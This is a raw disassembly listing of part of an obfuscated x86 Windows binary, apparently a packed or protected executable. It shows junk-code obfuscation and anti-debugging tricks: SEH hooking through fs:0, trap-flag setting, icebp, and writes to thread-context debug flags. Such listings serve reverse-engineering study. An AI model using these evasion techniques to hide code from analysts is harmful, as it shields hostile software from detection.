		jmp	loc_43CB6D
; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		xor	al, 24h
		mov	ecx, esi
		pop	esi
		jmp	loc_439E9C
; ---------------------------------------------------------------------------
		align 4


loc_43C8D8:				; CODE XREF: _802izwe5:00438CF0j
		jo	loc_43D079
		not	ebp
		jmp	loc_43C6A1
; ---------------------------------------------------------------------------
aZBCdNH_C	db 'œ‡ÙÊ–¤ÅnÁÂ',8,'h_ºC',0
		dw 8BE9h
		dd 0FFFFB7h, 81CC8B00h,	10C1h, 0C7098B00h, 1001301h, 81C03300h
		dd 4C1h, 81018900h, 4C1h, 0B732E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43C923:				; CODE XREF: sub_439ED1+423Ej
		push	ecx
		jmp	loc_439DAF
; ---------------------------------------------------------------------------


loc_43C929:				; DATA XREF: sub_43C65A+86o
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		push	edx
		push	169F303Fh
		pop	edx
		jmp	loc_43CF98
; ---------------------------------------------------------------------------
		mov	ebx, edi


loc_43C947:				; CODE XREF: sub_439ED1:loc_4397FEj
		add	edx, 0C69CA282h
		call	near ptr sub_43B481
		jmp	loc_43E367
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43C959:				; CODE XREF: _802izwe5:0043C391j
					; _802izwe5:0043F044p
		xchg	edx, [esp+0]
		pop	edx
		call	sub_437E4F


loc_43C962:				; DATA XREF: sub_439ED1:loc_43A75Eo
		add	[edi-63A7DBFCh], al
		call	sub_43BAEA
		add	cl, ch
		sub	[ecx], edx
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_43F7E0
; ---------------------------------------------------------------------------


loc_43C979:				; CODE XREF: sub_439ED1-1AC9j
		jmp	loc_43F91A
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43C97F:				; CODE XREF: sub_43C65A+Cj
		push	offset byte_43C29F
		jmp	nullsub_1
sub_43C65A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		rol	eax, 4
		sub	eax, 0D7875E08h
		push	4393A9h
		jmp	locret_43EEED
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43C99E	proc near		; DATA XREF: _802izwe5:00439BEBo

; FUNCTION CHUNK AT 0043DF4D SIZE 00000005 BYTES

		push	ebx
		push	0B377EB3Dh
		pop	ebx
		sub	ebx, 261C6D53h


loc_43C9AB:				; CODE XREF: _802izwe5:loc_43CFDDj
		or	ebx, 4B62595h
		xor	ebx, 0E29DB4F5h
		and	ebx, 74457373h
		add	ebx, 9C036F3Eh
		jmp	loc_43DF4D
sub_43C99E	endp

; ---------------------------------------------------------------------------
		dd 24048700h, 0E858D88Bh, 11B4h, 0FFEDF1E9h, 58B0FFFh
		dd 0E9000003h, 0FFFFB53Eh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43C9E5:				; CODE XREF: sub_439ED1:loc_43A40Bj
		push	0C2C75819h
		pop	esi
		xor	esi, 0C6D52F3Ah
		add	esi, 30DD27EFh
		jmp	near ptr loc_43AC19+1
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
dword_43C9FC	dd 2AE9CC2Eh, 0FFFFF4h		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E40D


loc_43CA05:				; CODE XREF: sub_43E40D+10j
		rol	esi, 1Ch
		add	esi, 0D0FEA01h
		jmp	loc_43F511
; END OF FUNCTION CHUNK	FOR sub_43E40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CA13:				; CODE XREF: sub_439ED1+E39j
		push	ecx
		jmp	near ptr dword_438BA4+0Dh
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		pop	edi
		mov	dword ptr [ecx], offset	byte_43E959
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43CA25	proc near		; CODE XREF: _802izwe5:0043E55Fp
		xchg	eax, [esp+0]
		pop	eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	near ptr dword_437340+2Fh
sub_43CA25	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C169


loc_43CA3D:				; CODE XREF: sub_43C169+1Cj
		push	offset dword_43F0E0
		jmp	near ptr loc_43F0D7+1
; END OF FUNCTION CHUNK	FOR sub_43C169
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43CA48:				; CODE XREF: sub_43C65A:loc_43F863j
		xor	edx, 40080004h
		add	ecx, edx
		pop	edx
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43EC14
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CA63:				; CODE XREF: sub_439ED1+2ADj
		xor	ebp, 8CA684D3h
		and	ecx, 0B780771Dh


loc_43CA6F:				; CODE XREF: sub_439ED1:loc_43A172j
		xor	esi, 0D70BE5C5h
		push	ebx
		mov	ebx, 438F08h
		jmp	loc_4379A9
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0, 0C3h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CA83:				; CODE XREF: sub_439ED1+4E6Fj
		jmp	loc_43C781
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE3C


loc_43CA8A:				; CODE XREF: sub_43BE3C-2DBCj
		jmp	loc_43AB8E
; END OF FUNCTION CHUNK	FOR sub_43BE3C
; ---------------------------------------------------------------------------
		align 10h
		mov	esi, 22988414h
		cmp	esi, ecx
		jmp	loc_43EE05
; ---------------------------------------------------------------------------
		dd 241C8700h, 6853CB8Bh, 2AFDA087h, 0FFD148E9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_43CAAD:				; CODE XREF: _802izwe5:0043BF3Cj
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43CAB0:				; CODE XREF: sub_43C65A-3000j
		jmp	loc_43E59F
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 2
		dw 0C503h
		dd 0F3B0C081h, 8BF942h
		db 9Dh
byte_43CAC1	db 78h,	0, 68h		; DATA XREF: sub_439ED1+7Ao
		dd offset dword_438640+1
		dd 0FFB0ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43CACD:				; CODE XREF: _802izwe5:0043CEFEj
		pushf
		jmp	loc_43D970
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CAD5:				; CODE XREF: sub_439ED1+8B7j
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_43CAD9:				; CODE XREF: _802izwe5:0043C5BDj
		jmp	loc_43D90D
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CADF:				; CODE XREF: sub_439ED1+1F09j
		jmp	loc_43840D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43CAE5	proc near		; CODE XREF: sub_439ED1+139Fp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437F7D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B837 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043BF37 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C503 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043D9E6 SIZE 00000007 BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43BF37
sub_43CAE5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CAF6:				; CODE XREF: sub_439ED1-4CCj
		mov	byte ptr [edx],	9Dh
		pop	edx
		mov	dword ptr [ebp-79h], 74656420h
		cmp	[ebp-75h], eax
		arpl	gs:[ebp-39h], si
		inc	ebp
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 648Fh
		dd 57005B20h, 3C87F98Bh, 0D9DFE924h, 0FFFFh, 0C1810189h
		dd 4, 0C1810189h, 4, 0C1810189h, 4, 0EAE90189h,	0FFFFE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CB3D:				; CODE XREF: sub_439ED1:loc_43DC91j
		mov	byte ptr [edi],	87h
		xchg	ebx, [esp-1Ch+arg_14]
		mov	edi, ebx
		pop	ebx
		push	esi
		mov	esi, edx
		mov	bh, 34h
		and	al, 0E8h
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 0FFDCh
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_43CB53:				; CODE XREF: _802izwe5:0043B2CAj
		not	edx
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43CB55:				; CODE XREF: sub_43F18B:loc_43C5E4j
		xchg	edi, [esp-8+arg_4]


loc_43CB58:				; CODE XREF: _802izwe5:00438A30j
		pop	edi
		add	ebx, ebp
		add	ebx, 0ECC5FFD4h
		push	offset byte_43BCF3
		jmp	loc_43BFD8
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43CB6D:				; CODE XREF: _802izwe5:00439A7Fj
					; sub_43C65A+26Bj
		jl	loc_43D1F0
		add	[ebp-17h], dl
		db	65h
		push	es
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_43CB7C:				; CODE XREF: _802izwe5:loc_43F23Cj
		xor	edx, 17648319h
		add	eax, edx
		pop	edx
		mov	eax, [eax]
		jmp	loc_43AF8D
; ---------------------------------------------------------------------------
		dd 9E8D0F00h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43CB93:				; CODE XREF: _802izwe5:00437791j
		jmp	loc_43979A
; ---------------------------------------------------------------------------
		dd 0FA230000h, 0E905EEC1h, 0FFFFEA8Dh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F688


loc_43CBA7:				; CODE XREF: sub_43F688+13j
		jmp	loc_43DCED
; END OF FUNCTION CHUNK	FOR sub_43F688
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43CBAE:				; CODE XREF: _802izwe5:0043BABDj
		jmp	loc_43C547
; ---------------------------------------------------------------------------
		align 4
		dd 7870F00h, 87FFFFA8h,	2C5E2434h, 96596899h, 0BF5708CFh
		dd 439AF5h, 91EE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EEEF


loc_43CBD1:				; CODE XREF: sub_43EEEF:loc_4386F9j
		add	edi, 72A109D8h
		jmp	loc_43A5BD
; END OF FUNCTION CHUNK	FOR sub_43EEEF
; ---------------------------------------------------------------------------
		dd 0DF8B0000h, 0BF241C87h, 43EF23h, 0F19E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43CBEE:				; CODE XREF: _802izwe5:0043B087j
		jnz	loc_43E575


loc_43CBF4:				; DATA XREF: _802izwe5:0043F203o
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		pushf
		push	0DA94B2FFh
		xchg	edi, [esp]
		jmp	near ptr dword_437340+9Fh
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CC0D:				; CODE XREF: sub_439ED1-2823j
		xchg	eax, [esp+8+var_8]
		or	eax, 100h
		xchg	eax, [esp+8+var_8]
		popf
		nop
		jmp	loc_43CCA8
; ---------------------------------------------------------------------------


loc_43CC20:				; CODE XREF: sub_439ED1:loc_43F595j
		jnz	near ptr sub_43B954
		jmp	near ptr dword_438F58+8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43CC2B:				; CODE XREF: sub_43C65A+1F54j
		and	edi, 0EFCA4632h
		or	edi, 614E87F9h
		add	edi, 8E8BFA6Ah
		rol	edi, 2
		xor	edi, 0DF6A092Dh
		add	ecx, edi
		pop	edi
		mov	dword ptr [ecx], offset	loc_43A09D
		jmp	loc_43AB69
; END OF FUNCTION CHUNK	FOR sub_43C65A

; =============== S U B	R O U T	I N E =======================================



sub_43CC54	proc near		; CODE XREF: sub_43F688:loc_43DCF0p

; FUNCTION CHUNK AT 0043835D SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		dec	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-10h], 0
		jmp	loc_43835D
sub_43CC54	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43CC65:				; CODE XREF: _802izwe5:loc_43EB81j
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43CC6B	proc near		; CODE XREF: sub_43C65A-FBCp
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr dword_4379FC+9
sub_43CC6B	endp

; ---------------------------------------------------------------------------
		dd 689C0000h, 50EB2709h, 8B243C87h, 0FAE95FC7h,	0FFFFFCh
		dd 3E9DE13h, 14h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D6F6


loc_43CC98:				; CODE XREF: sub_43D6F6:loc_43EBE6j
		mov	esi, ecx
		xchg	esi, [esp+0]
		push	offset loc_439F3F
		jmp	locret_43A2D3
; END OF FUNCTION CHUNK	FOR sub_43D6F6
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CCA8:				; CODE XREF: sub_439ED1+2D4Aj
		and	eax, 0A01196B1h
		sbb	edx, 0C5C55067h
		jmp	loc_43F8B0
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F7h
		dd 0FBABE9D2h
		db 2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CCC4:				; CODE XREF: sub_439ED1+729j
		pushf
		jmp	near ptr loc_43EC0B+4
; ---------------------------------------------------------------------------


loc_43CCCA:				; CODE XREF: sub_439ED1:loc_43AA8Fj
		pop	ebp
		push	eax
		push	5D4F9262h
		pop	eax
		jmp	loc_43BC91
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 2B6DE800h, 40E90000h, 0FFFFA9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CCE4:				; CODE XREF: sub_439ED1+E0j
		push	ecx
		jmp	loc_43B595
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		xchg	ebp, [esi]
		add	ecx, eax
		jmp	loc_43E829
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43CCF9:				; CODE XREF: sub_43F18B-71CDj
		jmp	nullsub_28
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		align 10h


loc_43CD00:				; CODE XREF: _802izwe5:00439584j
		jg	loc_43F81C
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CD06:				; CODE XREF: sub_439ED1:loc_43F782j
		sub	eax, 0E60F1B5Eh
		xor	eax, 11A19572h
		call	loc_439ACA
		add	cl, ch
		push	edx
		test	eax, 0FFFFh


loc_43CD1F:				; CODE XREF: sub_43D66E+ADEj
		jmp	loc_43D17D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0B8FEE900h, 0E900FFFFh, 71Ah, 0D10CE281h, 0F281246Eh
		dd 7A1D7FCEh, 0E95ACA3Bh, 0B26h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
		align 2
		dw 72E9h
		dd 0FFFFE7h, 81CC8B00h,	10C1h, 0C7098B00h, 1001301h, 81C03300h
		dd 4C1h, 81018900h, 4C1h, 0D982E900h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F734


loc_43CD74:				; CODE XREF: sub_43F734-210Bj
		call	sub_438FC9
		add	cl, al
		ror	byte ptr [eax],	81h
		mov	byte ptr ds:6467A815h[esi], 8Fh
		push	es
; END OF FUNCTION CHUNK	FOR sub_43F734
; ---------------------------------------------------------------------------
		db 0
		dd 24048700h, 79B86858h, 1CE91C40h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43CD97:				; CODE XREF: _802izwe5:0043E2AEj
		jnz	loc_43CDD2
		add	[ecx-67436137h], al
		xchg	al, [ecx+15B6B8C1h]
		scasb
		or	eax, esi
		jmp	loc_43CDCA
; ---------------------------------------------------------------------------
		align 2


loc_43CDB2:				; CODE XREF: _802izwe5:0043B944j
		xchg	eax, [esp]
		jmp	loc_43BEAB
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_4390D8


loc_43CDBC:				; CODE XREF: sub_4390D8:loc_43BFE3j
		call	sub_43BE3C
; END OF FUNCTION CHUNK	FOR sub_4390D8
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43CDCA:				; CODE XREF: _802izwe5:0043CDACj
		or	esi, 0A8E9F848h
		sub	ebp, ebx


loc_43CDD2:				; CODE XREF: _802izwe5:loc_43CD97j
		sub	edi, 0BE2AF8F0h
		add	edi, 52280558h
		xor	edi, 687DB4B3h
		call	sub_43C3F1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CDEB:				; CODE XREF: sub_439ED1+1881j
		jmp	loc_43AFED
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0E9510000h, 0FFFFF5CFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CDF8:				; CODE XREF: sub_439ED1-1183j
		mov	[ecx], eax
		push	esi
		push	8251DB4Ch
		pop	esi
		jmp	loc_4396A8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 8B00h
		db 0CCh
; ---------------------------------------------------------------------------
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		mov	al, [ecx]
		jmp	loc_43B95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CE24:				; CODE XREF: sub_439ED1:loc_43E454j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		mov	al, [ecx]
		add	ecx, 9Ch
		jmp	loc_4378FC
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 0C2880F00h, 10h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CE50:				; CODE XREF: sub_439ED1+1FB9j
		jmp	nullsub_3
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		popf
		cmp	eax, ecx
		jmp	loc_43DF0B
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43CE5F:				; CODE XREF: _802izwe5:loc_438563j
		mov	dword ptr [ecx], offset	loc_43A617
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 67h
		dd 36FF64h, 0D37FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CE76:				; CODE XREF: sub_439ED1+1142j
		xchg	ebp, [esp+0]
		push	0E3C76B4Ch
		pop	ecx
		rol	ecx, 6
		and	ecx, 0E6D0E982h
		xor	ecx, 1F2F3EFFh
		push	437498h
		jmp	nullsub_20
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0E3810000h, 0A4CCB15Bh, 0FFD026E9h, 8A0000FFh, 68E00544h
		dd 0AB791832h, 8C2815Ah, 81DF008Eh, 0C5D037CAh,	18C28103h
		dd 0F671E0Ah, 0FFB8CC85h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CECB:				; CODE XREF: sub_439ED1+D3Ej
		jmp	near ptr dword_437428+0A9h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CED2:				; CODE XREF: sub_439ED1+B19j
		jnb	nullsub_36
; END OF FUNCTION CHUNK	FOR sub_439ED1

; =============== S U B	R O U T	I N E =======================================



sub_43CED8	proc near		; CODE XREF: _802izwe5:0043B358p
		xchg	eax, [esp+0]
		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		jmp	loc_43EDD4
sub_43CED8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

locret_43CEE8:				; CODE XREF: _802izwe5:loc_438464j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43CEEB:				; CODE XREF: _802izwe5:00438D70j
		jmp	loc_439043
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43CEF2:				; CODE XREF: _802izwe5:loc_43D4E2j
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43CACD
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS	KEYPAD "+" TO EXPAND]
		dw 0E900h
		dd 0FFFFA4C8h, 59C03300h, 670000C3h, 36FF64h, 89646700h
		dd 0E9000026h, 0FFFFC036h
dword_43CF24	dd 8B241C87h, 7E685BCBh, 0E90043CCh, 1CD6h; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_43CF35:				; CODE XREF: _802izwe5:0043C419j
		jmp	loc_4396D5
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43CF3B:				; CODE XREF: sub_43F18B-75BDj
		jmp	loc_43D0B4
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		dd 99F08100h, 3010150h,	98B58C8h, 1301C7h, 68570001h, 9A7A232Bh
		dd 12B3E9h, 81000000h, 0A0C1h, 0AE01C700h, 330043EEh, 0F1E959C0h
		dd 67FFFFB4h, 36FF64h, 89646700h, 0E9000026h, 0FFFFEC98h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43CF86:				; CODE XREF: _802izwe5:00438D84j
		ja	loc_43F34F
		push	ecx
		jl	loc_43A134
		jmp	near ptr dword_438CD8+3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43CF98:				; CODE XREF: sub_43C65A+2E6j
		or	edx, 0C72574B6h
		and	edx, 93F68A55h
		xor	edx, 93B60011h
		add	ecx, edx
		pop	edx
		mov	[ecx], eax
		jmp	loc_43964A
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CFB5:				; CODE XREF: sub_439ED1+393j
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 67h
		dd 36FF64h, 89646700h, 0E9000026h, 0FFFFE87Ch, 0C8C10000h
		db 5

; =============== S U B	R O U T	I N E =======================================



sub_43CFCD	proc near		; CODE XREF: sub_439ED1:loc_43AFEDp
		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [ecx],	9Dh
		pop	ecx
		add	edx, ebp
		jmp	loc_43AB5E
sub_43CFCD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43CFDD:				; CODE XREF: _802izwe5:0043C4FCj
		jno	loc_43C9AB
		push	2A7D350Bh
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43CFE8:				; CODE XREF: sub_439ED1:loc_43C4ECj
		add	eax, 0B3EADB8Fh
		and	eax, 0DCE2DC7h
		xor	eax, 53593F4Dh
		add	eax, ebp
		call	sub_43C50C
		jmp	loc_439FEC
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 168Bh
		dd 0DFB9E955h, 448AFFFFh, 0D7E8E005h, 0FFFFEDh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D018:				; CODE XREF: sub_439ED1:loc_43DB45j
					; sub_43F688-821j
		mov	ecx, esp


loc_43D01A:				; CODE XREF: _802izwe5:loc_43BE4Aj
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		jmp	loc_439032
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
word_43D02E	dw 0CC3Eh		; CODE XREF: sub_43BC7E+Cj
; ---------------------------------------------------------------------------
		jmp	loc_43F634
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
		dd 8B5B241Ch, 0FC00900h, 685h, 0B821E900h, 0C300FFFFh
		dd 93E90000h, 0FFFFC4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D054:				; CODE XREF: sub_439ED1+163j
		jmp	loc_4388F8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43D05B:				; CODE XREF: _802izwe5:00438ED2j
		jmp	loc_43C124
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43D061:				; CODE XREF: _802izwe5:00437EA1j
		jmp	locret_4383B8
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43D067	proc far		; CODE XREF: sub_43F3B2+Fp
		push	offset loc_43B175
		jmp	locret_439FD6
sub_43D067	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437E10


loc_43D074:				; CODE XREF: sub_437E10+Cj
		jmp	nullsub_43
; END OF FUNCTION CHUNK	FOR sub_437E10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D079:				; CODE XREF: sub_43C65A:loc_43C8D8j
					; sub_439ED1+324Aj
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		jmp	loc_43A97B
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_43D095:				; CODE XREF: _802izwe5:0043DC38j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 36FF6467h, 64670000h, 2689h,	0FFEA5BE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43D0A9:				; CODE XREF: sub_439ED1:loc_43E460j
		db	65h
		icebp
		test	edi, ecx
		jmp	loc_43850F
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43D0B4:				; CODE XREF: sub_43F18B:loc_43CF3Bj
		pop	esi
		jp	loc_4383FA
		and	ebp, edi
		jmp	loc_43B7A6
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		dw 6853h
